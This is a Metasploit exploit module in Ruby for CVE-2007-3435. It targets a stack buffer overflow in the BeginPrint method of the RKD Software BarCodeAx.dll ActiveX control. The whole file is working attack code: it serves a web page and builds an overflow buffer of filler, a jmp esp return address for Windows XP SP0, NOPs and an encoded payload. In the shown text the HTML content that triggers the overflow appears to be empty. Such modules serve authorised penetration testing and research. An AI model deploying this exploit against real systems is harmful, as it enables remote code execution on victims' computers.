## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in RKD Software Barcode Application ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to the BeginPrint method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Trancek ', 'patrick' ], 'References' => [ [ 'EDB', '4094' ], [ 'OSVDB', '37482' ], [ 'BID', '24596' ], [ 'CVE', '2007-3435' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0a\x0d\x20\'\"%<>@=,.\#$&()\\/", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0 English', { 'Ret' => 0x71ab7bfb } ] # jmp esp ws2_32.dll patrickw xpsp0 ], 'DisclosureDate' => 'Jun 22 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) buff = Rex::Text.rand_text_alphanumeric(656) + [target['Ret']].pack('V') + make_nops(20) + payload.encoded # Build out the message content = %Q|

| print_status("Sending #{self.name}") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end